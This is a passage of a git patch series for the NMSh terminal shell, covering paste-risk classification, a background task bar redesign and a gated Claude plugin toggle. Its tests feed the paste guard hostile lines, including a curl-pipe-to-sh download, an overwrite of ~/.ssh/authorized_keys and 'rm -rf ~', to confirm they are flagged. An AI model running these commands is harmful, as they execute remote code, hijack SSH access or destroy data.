reinterpreted or run differently. + */ +export function nmshCommandNote(analysis: PasteAnalysis, shell: string): string | undefined { + if (analysis.lines < 2 && analysis.commands.length < 2) return undefined; + const names = [...new Set(analysis.commands.filter(command => command.kinds.includes('nmsh')).map(command => command.text.trim().split(/\s+/u)[0]!))]; + if (!names.length) return undefined; + const list = names.slice(0, 3).join(', ') + (names.length > 3 ? ` and ${names.length - 3} more` : ''); + const one = names.length === 1; + return `${list} ${one ? 'is an NMSh command' : 'are NMSh commands'}: here ${one ? 'it reaches' : 'they reach'} ${shell} as text. ` + + `Submit ${one ? 'it' : 'each'} alone to run it in NMSh.`; +} + /** Shown when the paste is not clearly an ordinary command: what the shell will receive does not change. */ export const PASTE_EXACT_NOTE = 'If inserted and submitted, your shell will still receive this text exactly.'; diff --git a/tests/queuePreview.test.ts b/tests/queuePreview.test.ts index 4933beca..9d5d857a 100644 --- a/tests/queuePreview.test.ts +++ b/tests/queuePreview.test.ts @@ -121,3 +121,20 @@ test('geometry: the list takes rows from the transcript view, right after the ac assert.equal(regionOf(withQueueRows(tiny, 4), 'queue')?.height ?? 0, Math.max(0, tiny.transcript.height - 3), 'only what the transcript can spare'); assert.equal(withQueueRows(planScreen({...base, panelRows: 10}), 4).regions.some(region => region.kind === 'queue'), false, 'a panel owns the screen'); }); + +test('paste review: NMSh commands among other lines are named, with where they go; one on its own needs no note', async () => { + const {analyzePaste, nmshCommandNote, needsPreview} = await import('../src/input/pasteGuard.js'); + const {createPasteReview, renderPasteReview} = await import('../src/input/PasteReview.js'); + const mixed = analyzePaste('printf one\n/copy\n/compare 1 2\nls'); + assert.deepEqual(mixed.commands.map(command => command.kinds), [['read'], ['nmsh'], ['nmsh'], ['read']]); + assert.equal(nmshCommandNote(mixed, 'zsh'), '/copy, /compare are NMSh commands: here they reach zsh as text. Submit each alone to run it in NMSh.'); + assert.equal(nmshCommandNote(analyzePaste('/copy'), 'zsh'), undefined, 'on its own it is NMSh\'s'); + assert.equal(nmshCommandNote(analyzePaste('echo a\n/usr/bin/env true'), 'zsh'), undefined, 'an absolute path is the shell\'s'); + assert.equal(nmshCommandNote(analyzePaste('echo a\n/notacommand'), 'zsh'), undefined, 'only real NMSh commands'); + assert.ok(needsPreview(mixed, 'smart')); + const review = createPasteReview('echo a\n/queue', analyzePaste('echo a\n/queue'), true, 'bash'); + const text = renderPasteReview(review, 100, 12).map(row => stripAnsi(row)).join('\n'); + assert.match(text, /NMSh command\s+\/queue/u); + assert.match(text, /\/queue is an NMSh command: here it reaches bash as text\. Submit it alone to run it in NMSh\./u); + assert.ok(renderPasteReview(review, 100, 12).length <= 12, 'the note takes a body row, never more than the height'); +}); From bbb7b384c9e891a68b9208e23e7338046f89cfc2 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Thu, 15 Oct 2026 22:32:23 +0530 Subject: [PATCH 07/16] Paste review: an NMSh command label never masks what the shell would run MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Among other lines the shell receives a pasted /copy, so what it contains runs there: /copy $(curl … | sh) must still say it runs downloaded code. The NMSh tag is now added beside the line's ordinary classification, and every risk outranks it in the label and in whether the paste is previewed. --- src/input/pasteGuard.ts | 10 ++++++++-- tests/queuePreview.test.ts | 7 +++++++ 2 files changed, 15 insertions(+), 2 deletions(-) diff --git a/src/input/pasteGuard.ts b/src/input/pasteGuard.ts index 99ad06dd..7242b3c2 100644 --- a/src/input/pasteGuard.ts +++ b/src/input/pasteGuard.ts @@ -148,9 +148,15 @@ function packageKinds(command: string, sub: string, rest: string[]): PasteKind[] } export function classifyCommand(text: string, pipedFrom: boolean): PasteKind[] { - // An NMSh command (/copy, /queue, /compare): NMSh's only when submitted on its own (see nmshCommandNote). + // An NMSh command (/copy, /queue, /compare) is NMSh's only when submitted on its own (see nmshCommandNote); among + // other lines the shell receives it, so it is classified like any shell text too and a risk always outranks it + // (`/copy $(curl … | sh)` still says it runs downloaded code). const slash = parseSlashCommand(text.trim()); - if (slash && slash.kind !== 'unknown') return ['nmsh']; + if (slash && slash.kind !== 'unknown') return [...shellKinds(text, pipedFrom).filter(kind => kind !== 'unknown' && kind !== 'text'), 'nmsh']; + return shellKinds(text, pipedFrom); +} + +function shellKinds(text: string, pipedFrom: boolean): PasteKind[] { if (looksLikeProse(text)) return ['text']; const all = words(text); // Leading env assignments and sudo-like prefixes. diff --git a/tests/queuePreview.test.ts b/tests/queuePreview.test.ts index 9d5d857a..2f8341cc 100644 --- a/tests/queuePreview.test.ts +++ b/tests/queuePreview.test.ts @@ -129,6 +129,13 @@ test('paste review: NMSh commands among other lines are named, with where they g assert.deepEqual(mixed.commands.map(command => command.kinds), [['read'], ['nmsh'], ['nmsh'], ['read']]); assert.equal(nmshCommandNote(mixed, 'zsh'), '/copy, /compare are NMSh commands: here they reach zsh as text. Submit each alone to run it in NMSh.'); assert.equal(nmshCommandNote(analyzePaste('/copy'), 'zsh'), undefined, 'on its own it is NMSh\'s'); + // The shell would run what such a line contains: a risk is never masked by the NMSh label. + const {primaryKind} = await import('../src/input/pasteGuard.js'); + for (const [line, kind] of [['/copy $(curl -s https://example.com/x | sh)', 'pipeline'], ['/compare 1 2 > ~/.ssh/authorized_keys', 'modifies'], ['/queue; rm -rf ~', 'destructive']] as const) { + const analysis = analyzePaste(`echo a\n${line}`); + assert.ok(analysis.commands.some(command => primaryKind(command.kinds) === kind), `${line}: ${JSON.stringify(analysis.commands.map(command => command.kinds))}`); + assert.ok(needsPreview(analysis, 'smart')); + } assert.equal(nmshCommandNote(analyzePaste('echo a\n/usr/bin/env true'), 'zsh'), undefined, 'an absolute path is the shell\'s'); assert.equal(nmshCommandNote(analyzePaste('echo a\n/notacommand'), 'zsh'), undefined, 'only real NMSh commands'); assert.ok(needsPreview(mixed, 'smart')); From 3f946be0542cb832fe43b27d4242c627e7dff8b4 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Thu, 15 Oct 2026 22:35:55 +0530 Subject: [PATCH 08/16] Task bar: readable at rest, finished tasks let go, menu selection, aligned marks Physical QA found the bar awkward: a task could only be read by entering the bar, finished tasks stayed, the large disc distracted, the mark, pointer and label were misaligned, and a selected row turned wholly purple. - At rest the bar names the task that matters most (a failure first, else the newest that runs) with its time and state, counts the rest, and says how to open it. - A finished task stays on the bar with its outcome for 6 s (30 s after a failure), then the bar lets it go; it stays in /background (bounded by finishedKept). A live task, one whose processes are left, and the task in hand are never let go; letting a row go stops nothing. The frontend redraws when the next one leaves. - Marks are one narrow cell each (no East Asian ambiguous-width glyphs, which some terminals draw wider): a small dot for running. - The selected row uses the same full-width selection band as the completion menu (shared in ui/selectionBand), each part keeping its meaning in color; without color the pointer marks it. --- src/app/TerminalApp.ts | 19 ++++++-- src/app/backgroundHost.ts | 21 ++++++-- src/backgroundTasks/bar.ts | 87 ++++++++++++++++++++++++++-------- src/shell/CompletionMenu.ts | 8 ++-- src/ui/selectionBand.ts | 27 +++++++++++ tests/backgroundTaskUi.test.ts | 45 +++++++++++++++++- 6 files changed, 174 insertions(+), 33 deletions(-) create mode 100644 src/ui/selectionBand.ts diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 399109be..a4f149d7 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -9917,10 +9917,23 @@ export class TerminalApp { /** The task bar and a waiting suggestion, above the composer; nothing while a program owns the screen. */ private backgroundRows(columns: number): string[] { if (this.passthrough || this.externalPassthrough) return []; - return this.background.rows(columns, {now: Date.now(), color: colorLevel() !== 'none', safe: getCurrentGlyphMode() === 'safe'}) + const now = Date.now(); + this.scheduleBarChange(now); + return this.background.rows(columns, {now, color: colorLevel() !== 'none', safe: getCurrentGlyphMode() === 'safe'}) .map(row => truncateAnsi(row, columns)); } + /** A finished task leaves the bar on its own after a moment: redraw then (one timer, for the soonest). */ + private barChangeTimer?: {at: number; timer: NodeJS.Timeout}; + private scheduleBarChange(now: number): void { + const at = this.background.nextBarChange(now); + if (at === undefined || this.barChangeTimer?.at === at) return; + if (this.barChangeTimer) clearTimeout(this.barChangeTimer.timer); + const timer = setTimeout(() => { this.barChangeTimer = undefined; if (!this.stopped) this.render(); }, Math.max(0, at - now) + 20); + timer.unref?.(); + this.barChangeTimer = {at, timer}; + } + /** * The task owner's list. The first list after this window attached is adopted silently (those tasks were announced * where they started); later, a new task and an ending one each get one NMSh line, never the task's output. @@ -9950,7 +9963,7 @@ export class TerminalApp { private enterBackgroundBar(key: Key): boolean { const composer = {empty: !this.editor.text && !this.editor.hasPasteAtoms, browsingHistory: this.composerHistory.active, foregroundBusy: Boolean(this.running), otherOwner: this.workspaceOwner() !== 'COMPOSER' || !this.composerIdle()}; - if (!entersBar(key, composer, this.background.records.length, this.background.preferences.upArrow)) return false; + if (!entersBar(key, composer, this.background.barTasks(Date.now()).length, this.background.preferences.upArrow)) return false; this.background.bar.focused = true; this.background.message = undefined; this.render(); @@ -9958,7 +9971,7 @@ export class TerminalApp { } private handleBackgroundBarKey(key: Key): boolean { - const action = this.background.bar.handleKey(key, this.background.records, this.background.next); + const action = this.background.bar.handleKey(key, this.background.barTasks(Date.now()), this.background.next); this.background.message = undefined; if (action.kind === 'leave') { this.render(); diff --git a/src/app/backgroundHost.ts b/src/app/backgroundHost.ts index 9843a855..a2839cb2 100644 --- a/src/app/backgroundHost.ts +++ b/src/app/backgroundHost.ts @@ -1,4 +1,4 @@ -import {renderTaskBar, TaskBarController} from '../backgroundTasks/bar.js'; +import {nextBarChange, onBar, renderTaskBar, TaskBarController} from '../backgroundTasks/bar.js'; import {classifyCommand, isClassified} from '../backgroundTasks/detector.js'; import {BackgroundManager} from '../backgroundTasks/manager.js'; import {TaskOutput} from '../backgroundTasks/output.js'; @@ -67,6 +67,20 @@ export class BackgroundHost { } record(id: string): TaskRecord | undefined { return this.records.find(record => record.id === id); } + + /** The task the person has in hand (selected on the bar, or open in the output view): the bar never lets it go. */ + private inHand(): string | undefined { + return this.panel?.kind === 'view' ? this.panel.taskId : this.bar.focused ? this.bar.selectedId : undefined; + } + + /** + * What the bar shows now: what runs, what left processes behind, the task in hand, and a finished task for a few + * seconds with its outcome (see FINISHED_ON_BAR_MS). Everything stays in /background; letting a row go stops nothing. + */ + barTasks(now: number): TaskRecord[] { return this.records.filter(task => onBar(task, now, this.inHand())); } + + /** When the bar next changes by itself (a finished task leaving it). */ + nextBarChange(now: number): number | undefined { return nextBarChange(this.records, now, this.inHand()); } readonly next = (id: string): StopLevel | undefined => nextLevel(this.record(id)); /** What submitting this command does: foreground (unchanged), a suggestion, or the background for an Always family. */ @@ -85,8 +99,9 @@ export class BackgroundHost { rows(width: number, style: {now: number; color: boolean; safe: boolean}): string[] { const rows: string[] = []; if (this.suggestion) rows.push(...renderSuggestion(this.suggestion, {width, color: style.color, safe: style.safe})); - if (this.records.length) rows.push(...renderTaskBar(this.bar, this.records, {width, ...style, next: this.next, upArrow: this.preferences.upArrow})); - if (this.message && this.records.length) rows.push(this.message.slice(0, Math.max(1, width))); + const shown = this.barTasks(style.now); + if (shown.length) rows.push(...renderTaskBar(this.bar, shown, {width, ...style, next: this.next, upArrow: this.preferences.upArrow})); + if (this.message && shown.length) rows.push(this.message.slice(0, Math.max(1, width))); return rows; } diff --git a/src/backgroundTasks/bar.ts b/src/backgroundTasks/bar.ts index e6f4a569..cb6520dd 100644 --- a/src/backgroundTasks/bar.ts +++ b/src/backgroundTasks/bar.ts @@ -1,6 +1,7 @@ import type {Key} from '../terminal/keys.js'; import {foreground, UI_COLORS} from '../ui/palette.js'; -import {displayWidth, truncateText} from '../util/text.js'; +import {selectionBand, selectionForeground} from '../ui/selectionBand.js'; +import {displayWidth, truncateAnsi, truncateText} from '../util/text.js'; import {stripTerminalControls} from '../util/terminalControls.js'; import type {StopLevel, TaskRecord, TaskState} from './supervisor.js'; @@ -55,6 +56,26 @@ export function entersBar(key: Key, composer: ComposerState, tasks: number, upAr } const LIVE: ReadonlySet = new Set(['running', 'stopping']); + +/** + * How long a finished task stays on the bar with its outcome before the bar lets it go (the task itself stays in + * /background, bounded by finishedKept). A failure stays longer than a clean end. Nothing that still runs is ever let + * go: a live task, or a finished one whose processes are left, stays until it is stopped. + */ +export const FINISHED_ON_BAR_MS: Record<'exited' | 'stopped' | 'failed', number> = {exited: 6000, stopped: 6000, failed: 30_000}; + +/** Whether the bar shows a task now; `keep` is a task the person has selected or is viewing (never pulled away). */ +export function onBar(task: TaskRecord, now: number, keep?: string): boolean { + if (LIVE.has(task.state) || task.leftovers || task.id === keep || task.endedAt === undefined) return true; + return now - task.endedAt < FINISHED_ON_BAR_MS[task.state as keyof typeof FINISHED_ON_BAR_MS]; +} + +/** When the next finished task leaves the bar, so the frontend can redraw then (undefined: nothing will). */ +export function nextBarChange(tasks: readonly TaskRecord[], now: number, keep?: string): number | undefined { + const times = tasks.filter(task => onBar(task, now, keep) && !LIVE.has(task.state) && !task.leftovers && task.id !== keep && task.endedAt !== undefined) + .map(task => task.endedAt! + FINISHED_ON_BAR_MS[task.state as keyof typeof FINISHED_ON_BAR_MS]); + return times.length ? Math.min(...times) : undefined; +} const LEVEL_WORDS: Record = {interrupt: 'interrupt', terminate: 'terminate (SIGTERM)', kill: 'kill (SIGKILL)'}; /** @@ -194,9 +215,14 @@ export function stateWords(task: TaskRecord): string { } } +/** + * One narrow cell each: these are not East Asian ambiguous-width characters (● ◐ ■ are, and some terminals draw them + * wider than the cell their width is counted as, pushing the label off its column). A small dot reads as "live" without + * a large disc, and never as a second pointer beside the selection's ›. + */ const marks = (safe: boolean): Record => safe ? {running: '*', stopping: '~', exited: '+', failed: 'x', stopped: '-'} - : {running: '●', stopping: '◐', exited: '✓', failed: '✗', stopped: '■'}; + : {running: '∙', stopping: '◦', exited: '✓', failed: '✗', stopped: '▪'}; /** * Task text as NMSh may draw it. Commands, families and directory names are not NMSh's words: a pasted command or a @@ -240,13 +266,21 @@ export function renderTaskBar(controller: TaskBarController, tasks: readonly Tas const width = Math.max(1, options.width); const m = marks(options.safe); const reset = options.color ? '\u001b[0m' : ''; - const tone = (state: TaskState) => state === 'failed' ? UI_COLORS.failure : state === 'running' ? UI_COLORS.accent : state === 'stopping' ? UI_COLORS.secondary : UI_COLORS.subtle; - const paint = (text: string, color: {red: number; green: number; blue: number}, bold = false) => options.color ? `${bold ? '\u001b[1m' : ''}${foreground(color)}${text}${reset}` : text; + const tone = (state: TaskState) => state === 'failed' ? UI_COLORS.failure : state === 'running' ? UI_COLORS.accent + : state === 'exited' ? UI_COLORS.success : state === 'stopping' ? UI_COLORS.secondary : UI_COLORS.subtle; + const ink = (color: {red: number; green: number; blue: number}, selected = false, minimum = 4.5) => options.color ? selectionForeground(color, selected, minimum) : ''; + const bold = options.color ? '\u001b[1m' : ''; const selected = tasks.find(task => task.id === controller.selectedId) ?? tasks[0]!; + const up = options.safe ? '^' : '↑'; + const enter = options.upArrow === 'off' ? `Shift+${up}` : up; const keysFor = (task: TaskRecord) => [ 'Enter view', stopHint(task, options.next, options.now), removalBlocked(task) ? '' : 'Del remove', 'Esc back', ].filter(Boolean); - const rowText = (task: TaskRecord, focused: boolean, suffix = '') => { + /** + * A task row in parts: the pointer and state mark, the label, then its time and state words. Each part keeps its + * meaning in color (the mark and a failure's words by state, the label as text), on the selection band when focused. + */ + const rowParts = (task: TaskRecord, focused: boolean, suffix = '') => { const lead = `${focused ? (options.safe ? '>' : '›') : ' '}${m[task.state]} `; const time = elapsed((task.endedAt ?? options.now) - task.startedAt); const label = taskLabel(task); @@ -256,34 +290,47 @@ export function renderTaskBar(controller: TaskBarController, tasks: readonly Tas const tails = [` ${time} ${stateWords(task)}${suffix}`, ` ${stateWords(task)}${suffix}`, ` ${shortState(task)}${suffix}`, ` ${shortState(task)}`]; const tail = tails.find(candidate => width - displayWidth(lead) - displayWidth(candidate) >= keep) ?? tails.at(-1)!; const room = Math.max(1, width - displayWidth(lead) - displayWidth(tail)); - return truncateText(`${lead}${truncateText(label, Math.max(1, Math.min(room, 32)))}${tail}`, width); + return {lead, label: truncateText(label, Math.max(1, Math.min(room, 32))), tail}; + }; + const paintRow = (task: TaskRecord, focused: boolean, suffix = '', after = '') => { + const {lead, label, tail} = rowParts(task, focused, suffix); + const pointer = lead.slice(0, lead.length - displayWidth(`${m[task.state]} `)); + const plain = truncateText(`${lead}${label}${tail}${after}`, width); + if (!options.color) return plain; + const tailTone = task.state === 'failed' ? UI_COLORS.failure : UI_COLORS.subtle; + const styled = `${ink(UI_COLORS.accent, focused, 3)}${pointer}${reset}${ink(tone(task.state), focused, 3)}${m[task.state]}${reset} ` + + `${focused ? bold : ''}${ink(focused ? UI_COLORS.primary : UI_COLORS.secondary, focused, 7)}${label}${reset}` + + `${ink(tailTone, focused)}${tail}${reset}${after ? `${ink(UI_COLORS.secondary, focused)}${after}${reset}` : ''}`; + // The same selected-row treatment as every NMSh list: a band behind the row, never the whole row in one color. + return focused ? selectionBand(styled, width) : truncateAnsi(styled, width); }; - const row = (task: TaskRecord, focused: boolean) => paint(rowText(task, focused), tone(task.state), focused); if (!controller.expanded) { if (controller.focused) { const position = tasks.length > 1 ? ` ${tasks.indexOf(selected) + 1}/${tasks.length}` : ''; - const base = rowText(selected, true, position); - const room = width - displayWidth(base) - 2; + const {lead, label, tail} = rowParts(selected, true, position); + const room = width - displayWidth(`${lead}${label}${tail}`) - 2; // Keys only when at least the way back fits beside the task; otherwise the task row alone. const keys = room >= displayWidth('Esc back') ? ` ${fitHints(keysFor(selected), room)}` : ''; - return [paint(`${base}${keys}`, tone(selected.state), true)]; + return [paintRow(selected, true, position, keys)]; } - const order: TaskState[] = ['running', 'stopping', 'failed', 'stopped', 'exited']; - const counts = order.map(state => [state, tasks.filter(task => task.state === state).length] as const).filter(([, count]) => count); - const running = tasks.filter(task => LIVE.has(task.state)).length; - const summary = `${running ? m.running : m.exited} ${tasks.length} background task${tasks.length === 1 ? '' : 's'} · ${counts.map(([state, count]) => `${count} ${state}`).join(' · ')}`; - return [paint(truncateText(summary, width), running ? UI_COLORS.secondary : UI_COLORS.subtle)]; + // At rest: the task that matters most by name (a failure, else the newest that runs), the rest counted, and how to + // open it, so a running task is readable without entering anything. + const lead = [...tasks].sort((a, b) => Number(b.state === 'failed') - Number(a.state === 'failed') || Number(LIVE.has(b.state)) - Number(LIVE.has(a.state)) || b.startedAt - a.startedAt)[0]!; + const others = tasks.length - 1; + const live = tasks.filter(task => task !== lead && LIVE.has(task.state)).length; + const more = others ? ` · +${others} more${live ? ` (${live} running)` : ''}` : ''; + const open = `${enter} open`; + const after = width - displayWidth(rowParts(lead, false).lead) - 12 >= displayWidth(`${more} ${open}`) ? `${more} ${open}` : more && width >= 40 ? more : ''; + return [paintRow(lead, false, '', after)]; } const {visible} = expandedLayout(tasks.length, options.maxRows ?? 4); const index = Math.max(0, tasks.indexOf(selected)); const start = Math.max(0, Math.min(index - visible + 1, tasks.length - visible)); - const up = options.safe ? '^' : '↑'; - const enter = options.upArrow === 'off' ? `Shift+${up}` : up; const title = 'Background tasks '; const header = !controller.focused ? `${title}${enter} or /background` : width - displayWidth(title) >= displayWidth('Esc back') ? `${title}${fitHints(keysFor(selected), width - displayWidth(title))}` : title.trim(); - const lines = [paint(truncateText(header, width), UI_COLORS.subtle)]; - for (const task of tasks.slice(start, start + visible)) lines.push(row(task, controller.focused && task.id === selected.id)); - if (tasks.length > visible) lines.push(paint(truncateText(` +${tasks.length - visible} more · /background lists all`, width), UI_COLORS.subtle)); + const lines = [`${ink(UI_COLORS.subtle)}${truncateText(header, width)}${reset}`]; + for (const task of tasks.slice(start, start + visible)) lines.push(paintRow(task, controller.focused && task.id === selected.id)); + if (tasks.length > visible) lines.push(`${ink(UI_COLORS.subtle)}${truncateText(` +${tasks.length - visible} more · /background lists all`, width)}${reset}`); return lines; } diff --git a/src/shell/CompletionMenu.ts b/src/shell/CompletionMenu.ts index 7551219c..bd23cab9 100644 --- a/src/shell/CompletionMenu.ts +++ b/src/shell/CompletionMenu.ts @@ -1,3 +1,4 @@ +import {selectionBand} from '../ui/selectionBand.js'; import type {CompletionCandidate} from './completion.js'; export {filterCompletions} from './completion.js'; import {completionLabel} from './completion.js'; @@ -95,11 +96,8 @@ export function renderCompletion(candidate: CompletionCandidate, selected: boole row = `${prefix}${labelColor}${shown}${RESET}${' '.repeat(Math.max(1, labelWidth - displayWidth(shown) + 1))}` + `${detailColor}${truncateText(detailText, room)}${RESET}`; } - const fitted = truncateAnsi(row, columns); - if (!selected) return fitted; - // A full-width band, so the selection does not rely on color of the text alone. - const fill = background(band); - return `${fill}${fitted.replaceAll(RESET, `${RESET}${fill}`)}${' '.repeat(Math.max(0, columns - displayWidth(fitted)))}${RESET}`; + // A full-width band, so the selection does not rely on color of the text alone (shared with every NMSh list). + return selected ? selectionBand(row, columns) : truncateAnsi(row, columns); } /** The cue under a scrolled list: how many candidates follow the window, or, at its end, how many precede it. */ diff --git a/src/ui/selectionBand.ts b/src/ui/selectionBand.ts new file mode 100644 index 00000000..f0e58aec --- /dev/null +++ b/src/ui/selectionBand.ts @@ -0,0 +1,27 @@ +import {contrastOn} from '../chroma/color.js'; +import {background, foreground, UI_COLORS, type RgbColor} from './palette.js'; +import {displayWidth, truncateAnsi} from '../util/text.js'; + +/** + * The selected row of an NMSh list (completion menu, task bar): one full-width band in the theme's selection color, + * so selection never relies on the text's color alone. Each part keeps its own hue, contrast-corrected against the + * band, instead of the whole row turning one color. Without color (NO_COLOR) there is no band; the row's pointer + * (› or >) carries the selection. + */ +export function onSelection(color: RgbColor, minimum: number): RgbColor { + return contrastOn(color, UI_COLORS.selection, minimum); +} + +/** A part's foreground: as given on an ordinary row, contrast-corrected on the selection band. */ +export function selectionForeground(color: RgbColor, selected: boolean, minimum = 4.5): string { + return foreground(selected ? onSelection(color, minimum) : color); +} + +/** Lay the band under a styled row and pad it to `columns`, keeping the band through every reset inside the row. */ +export function selectionBand(row: string, columns: number): string { + const RESET = '\u001b[0m'; + const fill = background(UI_COLORS.selection); + const fitted = truncateAnsi(row, columns); + if (!fill) return fitted; + return `${fill}${fitted.replaceAll(RESET, `${RESET}${fill}`)}${' '.repeat(Math.max(0, columns - displayWidth(fitted)))}${RESET}`; +} diff --git a/tests/backgroundTaskUi.test.ts b/tests/backgroundTaskUi.test.ts index 819cef14..50917759 100644 --- a/tests/backgroundTaskUi.test.ts +++ b/tests/backgroundTaskUi.test.ts @@ -1,6 +1,6 @@ import test from 'node:test'; import assert from 'node:assert/strict'; -import {entersBar, ESCALATION_PAUSE_MS, fitHints, renderTaskBar, TaskBarController, taskLabel, type ComposerState} from '../src/backgroundTasks/bar.js'; +import {entersBar, ESCALATION_PAUSE_MS, FINISHED_ON_BAR_MS, fitHints, nextBarChange, onBar, renderTaskBar, TaskBarController, taskLabel, type ComposerState} from '../src/backgroundTasks/bar.js'; import {explicitRun, parseBackgroundCommand, renderSuggestion, suggestionKey} from '../src/backgroundTasks/suggestion.js'; import {taskBlock, taskBlockText, TaskOutputView} from '../src/backgroundTasks/view.js'; import {BackgroundManager} from '../src/backgroundTasks/manager.js'; @@ -61,8 +61,10 @@ test('bar rendering: no rows when empty; one summary row collapsed; bounded rows const bar = new TaskBarController(); assert.equal(bar.rows([]), 0); assert.deepEqual(renderTaskBar(bar, [], {width: 80, now: NOW, safe: true, color: false}), []); + // At rest, the task that matters most by name (a failure first), the rest counted, and how to open the bar. const summary = renderTaskBar(bar, TASKS, {width: 80, now: NOW, safe: true, color: false}); - assert.deepEqual(summary, ['* 3 background tasks · 2 running · 1 failed']); + assert.deepEqual(summary, [' x npm run dev 11:01 failed (exit 1) · +2 more (2 running) ^ open']); + assert.deepEqual(renderTaskBar(bar, [TASKS[0]!], {width: 80, now: NOW, safe: false, color: false, upArrow: 'off'}), [' ∙ adb logcat 04:21 running Shift+↑ open'], 'one task: its own row'); bar.focused = true; bar.selectedId = 't1'; assert.match(renderTaskBar(bar, TASKS, {width: 120, now: NOW, safe: true, color: false, next: () => 'interrupt'})[0]!, /^>\* adb logcat {2}04:21 {2}running {2}1\/3 {2}Enter view · x stop · Esc back$/u); @@ -323,3 +325,42 @@ test('/background parsing is linear on a long pasted run of spaces', () => { assert.equal(parseBackgroundCommand(`${' '.repeat(100_000)}x`), undefined); assert.ok(performance.now() - started < 250, `took ${(performance.now() - started).toFixed(0)} ms`); }); + +test('bar lifecycle: a finished task shows its outcome briefly, a failure longer; nothing that runs ever leaves; the task in hand stays', () => { + const exited = task('e', {state: 'exited', exitCode: 0, endedAt: NOW}); + const failed = task('f', {state: 'failed', exitCode: 2, endedAt: NOW}); + const leftovers = task('l', {state: 'exited', exitCode: 0, endedAt: NOW - 3_600_000, leftovers: true}); + const live = task('r', {startedAt: NOW - 9_999_999}); + assert.ok(onBar(exited, NOW + FINISHED_ON_BAR_MS.exited - 1)); + assert.equal(onBar(exited, NOW + FINISHED_ON_BAR_MS.exited), false, 'a clean end goes after a few seconds'); + assert.ok(FINISHED_ON_BAR_MS.failed > FINISHED_ON_BAR_MS.exited, 'a failure stays longer'); + assert.ok(onBar(failed, NOW + FINISHED_ON_BAR_MS.failed - 1)); + assert.equal(onBar(failed, NOW + FINISHED_ON_BAR_MS.failed), false); + assert.ok(onBar(leftovers, NOW + 86_400_000), 'processes left behind keep it on the bar until they are killed'); + assert.ok(onBar(live, NOW + 86_400_000), 'a running task is never let go'); + assert.ok(onBar(exited, NOW + 86_400_000, 'e'), 'selected or open in the output view: never pulled away'); + // The frontend redraws exactly when the next one leaves. + assert.equal(nextBarChange([exited, failed, leftovers, live], NOW), NOW + FINISHED_ON_BAR_MS.exited); + assert.equal(nextBarChange([leftovers, live], NOW), undefined); +}); + +test('bar alignment: one narrow cell per mark; pointer, mark and label in the same columns focused or not; selection is a band', () => { + const eastAsianAmbiguous = /[\u00b7\u2022\u25a0\u25cb\u25cf\u25d0\u2192]/u; + const bar = new TaskBarController(true); + const tasks = [task('t1'), task('t2', {state: 'stopping', stopRequested: 'interrupt'}), task('t3', {state: 'exited', exitCode: 0, endedAt: NOW}), + task('t4', {state: 'failed', exitCode: 1, endedAt: NOW}), task('t5', {state: 'stopped', endedAt: NOW})]; + for (const safe of [true, false]) { + bar.focused = true; bar.selectedId = 't1'; + const rows = renderTaskBar(bar, tasks, {width: 100, now: NOW, safe, color: true, maxRows: 10}).slice(1).map(stripAnsi); + for (const row of rows) { + assert.doesNotMatch(row.slice(0, 3), eastAsianAmbiguous, `${row}: no ambiguous-width mark`); + assert.equal(displayWidth(row.slice(0, 3)), 3, 'pointer, mark and a space: three cells'); + assert.equal(row.indexOf('adb logcat'), 3, `${row}: the label starts in the same column`); + } + } + const colored = renderTaskBar(bar, tasks, {width: 100, now: NOW, safe: false, color: true, maxRows: 10}); + assert.match(colored[1]!, /^\u001b\[48;/u, 'the selected row sits on the selection band'); + assert.doesNotMatch(colored[2]!, /\u001b\[48;/u, 'other rows do not'); + assert.equal(displayWidth(stripAnsi(colored[1]!)), 100, 'the band spans the row'); + assert.match(renderTaskBar(bar, tasks, {width: 100, now: NOW, safe: true, color: false, maxRows: 10})[1]!, /^>\*/u, 'without color, the pointer marks the selection'); +}); From 968f29743875fc6771ef6370f9a80c54b085f891 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Thu, 15 Oct 2026 22:37:08 +0530 Subject: [PATCH 09/16] Claude plugins: changing them from NMSh is off in this release; the inventory stays The maintainer deferred managed-Claude physical QA (items 4.1-4.3) for v0.20, so the one path that writes the person's Claude settings, never verified against a live account, is no longer offered by default. Rows keep the real types, states and Inspect, and say which claude plugin command to run instead. The path stays behind NMSH_EXPERIMENTAL_CLAUDE_PLUGIN_TOGGLE=1 and setPluginEnabled refuses without it, whatever the caller. --- CHANGELOG.md | 2 +- src/agents/mods/claudePlugins.ts | 18 +++++++++++++++++- tests/claudePlugins.test.ts | 22 +++++++++++++++++++++- 3 files changed, 39 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index d1ed77b9..f7c927fc 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -33,7 +33,7 @@ This release candidate is built on the **unpublished v0.19.0 release candidate** #### Managed Claude Code ([#347](https://github.com/raiseCatError/notMyShell/pull/347)) - `/model` and `/effort` as native pickers over Claude's documented control requests; a change shows as requested until Claude reports it. -- Claude mods with their real types and states per launch identity; enable and disable go through Claude's own `claude plugin` command at the installed scope, then running managed sessions reload. NMSh never edits Claude's settings files. +- Claude mods with their real types and states per launch identity (read only). Turning a Claude plugin on or off from NMSh is **off in this release**: it was never verified against a live account and it would write your Claude settings, so the row names the `claude plugin enable|disable … --scope …` command to run yourself. Behind the experimental `NMSH_EXPERIMENTAL_CLAUDE_PLUGIN_TOGGLE=1`, it goes through Claude's own command at the installed scope and running managed sessions reload. NMSh never edits Claude's settings files. Managed Claude stays beta; its physical QA was deferred for this release. - A context panel beside the agent conversation, provenance on every runtime fact, and Markdown rendering for agent output that reveals real link destinations and refuses smuggled characters. #### Worktrees and controls diff --git a/src/agents/mods/claudePlugins.ts b/src/agents/mods/claudePlugins.ts index d388fa4f..1b681154 100644 --- a/src/agents/mods/claudePlugins.ts +++ b/src/agents/mods/claudePlugins.ts @@ -130,7 +130,9 @@ export async function claudePluginEntries(listing: unknown, cwd: string, profile permissions: [], applicability: ['claude'], evidence: override ? `claude plugin list --json; overridden by ${override.file}` : 'claude plugin list --json', nativeType: nativeType(read?.components), ...(read ? {components: read.components} : {}), runtime: managedRuntime(read?.components), notes, claude: {pluginId: 